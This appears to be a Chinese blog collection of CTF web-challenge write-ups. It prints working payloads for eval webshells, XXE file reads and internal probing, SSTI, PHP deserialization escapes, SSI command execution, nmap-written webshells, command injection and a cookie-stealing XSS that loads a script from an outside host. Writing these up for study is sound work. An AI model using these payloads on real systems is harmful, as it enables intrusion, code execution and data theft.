Sorry, this site is only optimized for those who use the http proxy of y1ng.vip<br> if you dont have the proxy, pls contact us to buy, ¥100/Month

添加Via:

1
Via: y1ng.vip

得到Base64编码的flag。

最终修改的请求为:

1
2
3
4
5
6
X-Real-IP: 127.0.0.1
Referer: gem-love.com
User-agent: Contiki/1.0 (Commodore 64; http://dunkels.com/adam/contiki/)
From: root@gem-love.com
Via: y1ng.vip
Cookie: [前面是平台的cookie]; time=5612692996

[GKCTF2020]CheckIN

#PHP bypass disable function

给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}

public function x()
{
return $_REQUEST;
}
}
new ClassName();

查看phpinfo();

1
/?Ginkgo=cGhwaW5mbygpOw==

编码一句话后用蚁剑连接成功:

1
/?Ginkgo=ZXZhbCgkX1BPU1RbJ3Bhc3MnXSk7

在根目录下找到flag,但不能读,属性是700。可以发现还有一个readflag文件,应该是需要这个。

在Github上找了一个bypass disable function的exp:https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

pwn("uname -a");改成pwn("/readflag");

把exp上传到tmp目录下,用include('/tmp/exploit.php');调用得到flag。

[NCTF2019]Fake XML cookbook

#XXE

题目提示XML,源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}

var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}

首先想到XXE。

构造payload:

1
2
3
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///flag">]>
<user><username>&xxe;</username><password>1</password></user>

得到flag。

参考:

https://xz.aliyun.com/t/6887

[ASIS 2019]Unicorn shop

#Trick

源码提示:

1
<meta charset="utf-8"><!--Ah,really important,seriously. -->

我们什么也不输直接购买会报错:

1
2
3
4
5
6
Traceback (most recent call last):
File "/usr/local/lib/python2.7/site-packages/tornado/web.py", line 1541, in _execute
result = method(*self.path_args, **self.path_kwargs)
File "/app/sshop/views/Shop.py", line 34, in post
unicodedata.numeric(price)
TypeError: need a single Unicode character as parameter

有一个unicodedata.numeric(price)函数。将Unicode字符(chr)转换为等效的数值。以浮点形式返回与chr相对应的数值。

举个栗子:

1
2
import unicodedata
unicodedata.numeric(u'四')

输出4.0

那么我们只要输入一个unicode对应字符大于1337.0即可。举个栗子:(埃塞俄比亚一万)或者𐡟(帝国亚拉姆语一万),可以在 https://www.compart.com/en/unicode/category/No 查找。

输入上面的一个字符即可获得flag。

#SSTI

题目提醒了cookie,在hint里也有提醒:

1
<!-- Why not take a closer look at cookies? -->

在flag页面随便输入一个就可以成功登录,在cookie里也会增加一个user,里面是刚刚输入的东西。

这个题和[BJDCTF2020]The mystery of ip很像,首先想到SSTI,输入49成功执行并返回49。

比起上一道SSTI,这道题稍微复杂了点,直接执行{(hexo报错,删除括号){system('ls')}}提示:

1
What do you want to do?

找了一张图,SSTI的测试流程:

测试是Twig。payload:

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

[CISCN 2019 初赛]Love Math(TODO)

题目给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

[0CTF 2016]piapiapia

#反序列化字符逃逸

我本来以为这个题是注入或密码爆破,结果发现并不是。

www.zip泄露源码。在下载下来的代码中,有几处可能有问题:

profile.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>

在photo那里有一处文件读取,profile有一处反序列化。再看一下update.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>

存在各种过滤,最后把更新后的数据序列化存入数据库中。此外,在config.php有一个flag变量,那我们最终的目标就是构造反序列化,让本来读照片的profile读config.php。

那么问题来了,photo会重新命名,即使改成config也没有用,该怎么做?在后端中,反序列化是以";}结束的,因此如果我们把";}带入需要反序列化的字符串中(除了结尾处),就能让反序列化提前结束而后面的内容就会被丢弃。在这里,我们只要在nickname那里构造好语句提前结束反序列化就可以了。

再看nickname的过滤,需要绕过限制,可以使用数组nickname[]绕过。

数组绕过:

  1. md5(Array()) = null
  2. sha1(Array()) = null
  3. ereg(pattern,Array()) =null
  4. preg_match(pattern,Array()) = false
  5. strcmp(Array(), “abc”) =null
  6. strpos(Array(),“abc”) = null
  7. strlen(Array()) = null

最后看一下class.php里的几个函数update_profileupdatefilter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}

public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}

public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

先简单构造:

1
2
3
4
5
$profile['phone']='13312341234';
$profile['email']='1@a.bc';
$profile['nickname'][]='name';
$profile['photo']='config.php';
echo(serialize($profile));
1
a:4:{s:5:"phone";s:11:"13312341234";s:5:"email";s:6:"1@a.bc";s:8:"nickname";a:1:{i:0;s:4:"name";}s:5:"photo";s:10:"config.php";}

nickname使用";}s:5:"photo";s:10:"config.php";}提前结束序列化语句。但直接修改并不能拿到config,直接输入只会将payload作为nickname,需要反序列化字符逃逸。filter在序列化之后,序列化时nickname的长度就已经决定,利用filter来修改nickname的长度为我们想要的长度后再截断就可以将我们的反序列化字符串逃逸。由于我们的payload长度是34,而where作为敏感字符替换为hacker会长度+1,输入34个where会向后移动34位就会将我们的payload挤到合适的位置上。

payload:

1
2
3
Content-Disposition: form-data; name="nickname[]"

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

得到结果:

1
PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezBhYzQ0MWE4LWUwYWEtNDg5Mi04YTU4LTNiOWQ2ZDZmMTgwOX0nOwo/Pgo=

解Base64得到flag。

[SUCTF 2019]Pythonginx

#Python Trick

题目给了提示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
1
2
<!-- Dont worry about the suctf.cc. Go on! -->
<!-- Do you know the nginx? -->

首先需要绕过前两个对host == 'suctf.cc的判断,但要进入第三个判断。

涉及到了BlackHat 19的一个议题:HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization。简单概括就是,这里Python用IDNA处理会把转换为a/c,当然存在类似问题的字符还有很多,如等等,也可以使用转为c绕过。

提示nginx,读取nginx配置文件/usr/local/nginx/conf/nginx.conf

构造payloadgetUrl?url=file://suctf.cℂ/../../../usr/local/nginx/conf/nginx.conf得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
server {
listen 80;
location / {
try_files $uri @app;
}
location @app {
include uwsgi_params;
uwsgi_pass unix:///tmp/uwsgi.sock;
}
location /static {
alias /app/static;
}
# location /flag {
# alias /usr/fffffflag;
# }
}

读取/usr/fffffflag得到flag。

1
getUrl?url=file://suctf.cℂ/../../../usr/fffffflag

[BSidesCF 2020]Had a bad day

#文件包含

WOOFER和MEOWERS随便点一个,跳转到category,在末尾加个单引号报错:

1
2
3
Warning: include(meowers'.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37

Warning: include(): Failed opening 'meowers'.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37

有一个文件包含,尝试包含别的文件,如index:index.php?category=index

1
Sorry, we currently only support woofers and meowers.

使用php://filter伪协议试试:

1
index.php?category=php://filter/convert.base64-encode/resource=index

解码得到index源码(只保留php):

1
2
3
4
5
6
7
8
9
10
<?php
$file = $_GET['category'];
if(isset($file)) {
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")) {
include ($file . '.php');
} else {
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

读一下flag试试:

1
index.php?category=meowers/../flag

在返回的源码中看到:

1
<!-- Can you read this flag? -->

用php://filter伪协议

1
index.php?category=php://filter/convert.base64-encode/resource=meowers/../flag

解Base64得到flag。

[安洵杯 2019]easy_serialize_php

#反序列化字符逃逸

题目给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

看一下phpinfo:

1
index.php?f=phpinfo

Coreauto_append_file中我们可以看到一个d0g3_f1ag.php

这道题和[0CTF 2016]piapiapia不同,通过过滤关键词减少。有两种方法,键逃逸和值逃逸。

值逃逸:
这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对

1
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image
1
"a:3{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

键逃逸:

这儿只需要一个键值对就行了,我们直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独得键值对

1
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
1
"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

这儿得s:7:””之所以为空,是因为我们构造得键flagphp都是会被过滤的,所以显示为空,这样就能吃掉一部分值了,然后将剩下得值充当另一个对象逃逸出去。

本题是关键字被置空导致长度变短,后面的值的单引号闭合了前面的值的单引号,导致一些内容逃逸。extract后覆盖了两个没用的属性,但是后面又强制加了一个我们不可控的img属性。

payload:

1
2
3
index.php?f=show_image
POST:
_SESSION[phpflag]=;s:7:"xxxxxxx";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
1
2
3
4
5
<?php

$flag = 'flag in /d0g3_fllllllag';

?>

修改payload中的ZDBnM19mMWFnLnBocA==L2QwZzNfZmxsbGxsbGFn得到flag。

参考:

https://www.cnblogs.com/wangtanzhi/p/12261610.html

https://blog.csdn.net/a3320315/article/details/104118688/

[WesternCTF2018]shrine

#SSTI

题目给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

源码给出了jinja,过滤了config和self,括号也过滤了。

使用/shrine/读一下变量。

读flag:

1
/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}

[SWPU2019]Web1(TODO)

#SQL注入

[BJDCTF 2nd]简单注入(TODO)

robots.txt提示hint.txt,读取hint.txt:

1
2
3
4
Only u input the correct password then u can get the flag
and p3rh4ps wants a girl friend.

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

[WUSTCTF2020]朴实无华

#PHP特性 #命令执行

一打开就有一个php的报错:

1
Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/index.php:3) in /var/www/html/index.php on line 4

在robots.txt里提示:fAke_f1agggg.php,访问这个php,在返回的header里看到:

1
Look_at_me: /fl4g.php

访问fl4g.php给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

需要绕过3个if:

1
2
3
4
5
6
7
if(intval($num) < 2020 && intval($num + 1) > 2021)
if ($md5==md5($md5))
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}

第一个整数类型可以用科学记数法绕过,如果intval函数参数是科学计数法的字符串,会以e前面的数字作为返回值,而经过计算后又会转为普通的数字而绕过第一个判断:num=1e5

第二个md5弱类型比较,当字符串是以0e开头,后面都是数字,在比较时都会转为0,0e215962017在加密前后都是0e开头数字字符串,可以绕过:md5=0e215962017

第三个会替换掉空格和cat执行命令,先ls一下:

1
2
/fl4g.php?num=1e5&md5=0e215962017&get_flag=ls
404.html fAke_f1agggg.php fl4g.php fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag img.jpg index.php robots.txt

看一下那个超长的文件。cat不能用可以用tac,空格也可以用$IFS$9绕过:

1
fl4g.php?num=1e5&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

得到flag。

[网鼎杯 2020 朱雀组]Nmap

#WAF绕过

和[BUUCTF 2018]Online Tool差不多。

使用nmap的oG参数将一句话输入到文件中。

题目过滤了php,可以用下面的语句绕过:

1
' <?= @eval($_POST["pass"]);?> -oG hack.phtml '

根目录下找到flag。

[极客大挑战 2019]FinalSQL(TODO)

[MRCTF2020]PYWebsite

#HTTP协议

需要购买输入授权码,在网页源码里有一段js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function enc(code) {
hash = hex_md5(code);
return hash;
}
function validate() {
var code = document.getElementById("vcode").value;
if (code != "") {
if (hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c") {
alert("您通过了验证!");
window.location = "./flag.php"
} else {
alert("你的授权码不正确!");
}
} else {
alert("请输入授权码");
}

}

可以直接访问flag.php,或者解密md5也可以,解密的结果是:ARandomString

访问提示:

1
我已经把购买者的IP保存了,显然你没有购买

提示IP,使用X-Forwarded-For: 127.0.0.1绕过得到flag。

[NPUCTF2020]ReadlezPHP

#PHP反序列化

在源码中看到:

1
<p>百万前端的NPU报时中心为您报时:<a href="./time.php?source"></a></p>

访问这个链接获得time.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);

是一个php反序列化。构造php:

1
2
3
4
5
6
class HelloPhp
{
public $a = 'phpinfo';
public $b = 'assert';
}
echo(serialize(new HelloPhp));

在phpinfo里找到flag。这里有一个坑,本来我是想直接读文件的,但是并不行,看phpinfo结果在里面找到了flag。

[NCTF2019]True XML cookbook

#XXE

和[NCTF2019]Fake XML cookbook类似,还是XXE。源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}

var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}

然后,这道题就没法做了。怎么找也找不到flag,找wp,说是在内网。

/etc/hosts没什么东西,在/proc/net/arp发现:

1
2
IP address       HW type     Flags       HW address            Mask     Device
10.240.18.2 0x1 0x2 02:42:0a:f0:12:02 * eth0

访问10.240.18.2报错,用Burpsuite扫一下C段,在11找到了flag,最终的payload:

1
2
3
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://10.240.18.11">]>
<user><username>&xxe;</username><password>1</password></user>

[BJDCTF2020]EasySearch

#SSI注入

有源码泄露,index.php.swp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

密码的md5前6位是6d0bc1,然后会把用户名写入到一个shtml文件中。

这个密码很容易跑,2020666就可以。

在返回的header里有一个Url_is_here,访问这个可以看到输入的username,时间和ip。

SSI是英文”Server Side Includes”的缩写,翻译成中文就是服务器端包含的意思。

SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。

从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。

在SHTML文件中使用SSI指令引用其他的html文件(#include),此时服务器会将SHTML中包含的SSI指令解释,再传送给客户端,此时的HTML中就不再有SSI指令了。比如说框架是固定的,但是里面的文章,其他菜单等即可以用#include引用进来。

①显示服务器端环境变量<#echo>

本文档名称:

<!–#echo var=”DOCUMENT_NAME”–>

现在时间:

<!–#echo var=”DATE_LOCAL”–>

显示IP地址:

<! #echo var=”REMOTE_ADDR”–>

②将文本内容直接插入到文档中<#include>

<! #include file=”文件名称”–>

<! #include virtual=”文件名称”–>

注:file包含文件可以在同一级目录或其子目录中,但不能在上一级目录中,virtual包含文件可以是Web站点上的虚拟目录的完整路径

③显示WEB文档相关信息<#flastmod><#fsize>(如文件制作日期/大小等)

文件最近更新日期:

<! #flastmod file=”文件名称”–>

文件的长度:

<!–#fsize file=”文件名称”–>

④直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)

<!–#exec cmd=”文件名称”–>

<!–#exec cgi=”文件名称”–>

<!–#exec cgi=”/cgi-bin/access_log.cgi”–>

将某一外部程序的输出插入到页面中。可插入CGI程序或者是常规应用程序的输入,这取决于使用的参数是cmd还是cgi。

⑤设置SSI信息显示格式<#config>(如文件制作日期/大小显示方式)

⑥高级SSI可设置变量使用if条件语句。

参考:https://www.secpulse.com/archives/66934.html

尝试ls一下:

1
username=<!--#exec cmd="ls"-->&password=2020666

并没有东西,那就看一下上一级目录

1
username=<!--#exec cmd="ls ../"-->&password=2020666

发现了flag_990c66bf85a09c664f0b6741840499b2

1
username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666

得到flag。

[BJDCTF 2nd]xss之光

#XSS

有git泄露。把源码下载下来:

1
2
3
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

很简单,就两行,有一处反序列化。题目提到了XSS。

构造php:

1
2
3
<?php
$a = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($a));

成功弹窗,但没有拿到flag。

构造:

1
2
3
<?php
$a = new Exception("<script src=//x0.nz/Z3cJ></script>");
echo urlencode(serialize($a));

在返回的Set-Cookie中发现flag。

利用php的原生类进行XSS

当对象被创建的时候调用:__construct
当对象被销毁的时候调用:__destruct
当对象被当作一个字符串使用时候调用(不仅仅是echo的时候,比如file_exists()判断也会触发):__toString
序列化对象时就调用的方法(其返回需要是一个数组):__sleep
反序列化恢复对象时就调用的方法:__wakeup
当调用对象中不存在的方法会自动调用此方法:__call

Error

适用于php7版本

1
2
3
4
5
6
> <?php
> $a = new Error("<script>alert(1)</script>");
> $b = serialize($a);
> echo urlencode($b);
> ?>
>

Exception

适用于php5、7版本

这个类利用的方式和原理和Error 类一模一样,但是适用于php5和php7,相对之下更加好用。

1
2
3
4
5
> <?php
> $a = new Exception("<script>alert(1)</script>");
> echo urlencode(serialize($a));
> ?>
>

参考:https://blog.csdn.net/qq_45521281/article/details/105812056

[MRCTF2020]Ezpop

#PHP反序列化

给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

首先反序列化函数,触发Show类中的wakeup方法,wakeup方法做字符串处理,触发tosring方法,如果将str实例化为Test,因为Test类中不含source属性,所以调用get方法,将function实例化为Modifier类,即可触发其中invoke方法,最终调用文件包含函数,读取flag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
public function __toString(){
return "willv";
}
}

class Test{
public $p;
}

$a = new Show('aaa');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));

